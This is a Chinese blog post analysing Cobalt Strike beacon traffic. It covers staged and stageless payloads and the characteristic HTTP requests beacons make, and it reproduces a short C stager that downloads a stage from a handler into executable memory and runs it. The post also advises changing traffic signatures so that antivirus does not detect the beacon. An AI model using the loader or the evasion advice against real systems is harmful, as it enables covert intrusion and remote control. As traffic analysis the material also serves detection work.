关于cobaltstrike通信流程的分析

​ 之前我们了解了关于cobaltstrike shell生成的过程,接下来我们一起了解一下cobaltstrike的stager具体是如何工作的,它在目标主机执行后是如何和我们的服务端进行通信的。

基本概念

​ 在我们分析cobaltstrike的通信过程之前,首先需要了解cobaltstrike的一些基本概念

Staged Payloads

​ 执行payload的方式分为两种,一种是分阶段加载(Staged)和不分阶段加载(STAGELESS )。当使用分阶段加载的方式时,一般把程序分为两个部分,stager和stage,stager通常是一个代码量非常小的精简过的汇编代码,它的作用非常简单,就是用来下载stage并载入到内存,也就是主要完成下载远程的stage文件和分配内存将stage加载到内存并执行的功能。在cobaltstrike的官方博客中,给出了一个简单的stager的代码,主要通过C语言实现,通过wsconnect来和远程的地址建立socket通信,下载远程的文件分配内存并载入到内存,最后通过函数指针的形式来进行调用。之所以这么做主要是为了解决payload大小限制的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0) punt(my_socket, "read a strange or incomplete length value\n"); /* allocate a RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, "could not allocate buffer\n"); /* prepend a little assembly to move our SOCKET value to the EDI register thanks mihi for pointing this out BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF;

/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);

/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);

/* cast our buffer as a function and call it */
function = (void (*)())buffer;
function();

​ 我们再了解一下为什么要使用分阶段的方式呢?根据作者的描述有以下几点

  • 为了解决文件文件大小的问题,另一方面为了和Metasploit兼容
  • 通常stager作为一个加载器并没有做安全处理,而stage则会做比较好的处理,一般如果别人捕获了stager样本并不会造成什么影响。所以使用分阶段的形式也是为了保护stage

stageless payload

​ stageless payload顾名思义就是无阶段payload,那么既然我们已经介绍了关于使用分阶段执行payload的好处,为什么还要再去使用无阶段执行payload呢?原因是在内网横向渗透的过程中,因为目标内网的主机可能无法和外网通信,这个时候如果还使用分阶段执行,目标内网的断网机将无法下载到stage。所以在内网渗透的过程中一般使用的是无阶段的payload。

beacon

​ beacon运行在目标主机的用于远程控制的payload,主要用来实现稳定控制目标的功能,并不会实时和cobaltstrike服务端通信,在一段时间后会去检测是否有任务,如果有任务,beacon就会下载任务并且执行。当存在任务时,beacon一般会通过http去输出请求结果,可以通过http或者dns来检查是否有任务。

beacon通信分析

staged payload

​ 我使用wireshark进行分析,当我执行cobaltstrike生成的分阶段执行的payload时,首先会发起一个http请求,他会请求我们建立的listener端口,返回一个很大的内容

image-20200901182559711

​ 这个请求我们也可以在web日志中查看到

image-20200901182724592

​ 通过我们之前对分阶段执行payload的了解,我们可以知道这个是去请求stage的请求,我手工请求了以下这个地址,并且将下载后的文件保存为dll文件,将这个dll文件和beacon.dll文件进行对比,发现这两个文件大小基本一致,因此基本可以确定这个请求的开始是加载了beacon.dll这个文件。

​ 继续看其他请求包,我们发现当通过get请求activity这个路径,会刷新beacon的时间。

image-20200901193704075

​ 我尝试在和beacon进行交互,执行一个ipconfig命令,再抓包进行分析,当要执行命令时,我们可以看到当去请求activity这个路径时,已经有了返回内容

image-20200901194454763

​ 我们再看下一个包, 可以看到beacon向服务端发起一个post请求,路径为submit.php,并且带有id参数,请求内容为加密后的内容。

image-20200901194558581

​ 我尝试进行文件操作,发现传输返回结果还是通过向服务端以post形式请求submit.php。所以看到这里大家知道为什么我们明明免杀都过了,一执行就会被360干掉了,我如果是360,我也知道看有没有通过请求active和submit提交一些加密代码来判断是不是cs的shell了,所以做免杀的时候一定要去改流量特征。

stageless payload

​ 我们再生成一个无阶段的payload执行,再看看通信的流程。

​ 当我执行生成的无阶段的payload时,我发现并没有发送其他包,而是只发送了一个get请求请求match这个路径。当请求了match这个路径,服务端的延时就会刷新一次,所以我们知道这个请求是获取服务端执行命令的请求。

image-20200901195732678

​ 当我们执行ipconfig这个命令后,通过抓包分析,我们发现match会返回一个结果,这个就是需要执行的命令。

image-20200901200101283

​ 再看这个请求的下一个数据包,会去请求submit.php,去传递命令执行的结果

image-20200901200145700

​ 所以我们可以知道再cobaltstrike4.0中,如果使用无阶段的payload放到目标主机执行,会在请求过程中发送大量请求match和submit.php的数据包,这个就可以当作一个流量特征来进行处理。

总结

​ 通过关于beacon的流量分析,我们应该了解了关于beacon通信和加载的方式,也应该明白了为什么我们使用CobaltStrike一定要改流量特征了吧。

参考文章

Staged Payloads – What Pen Testers Should Know

What is a stageless payload artifact?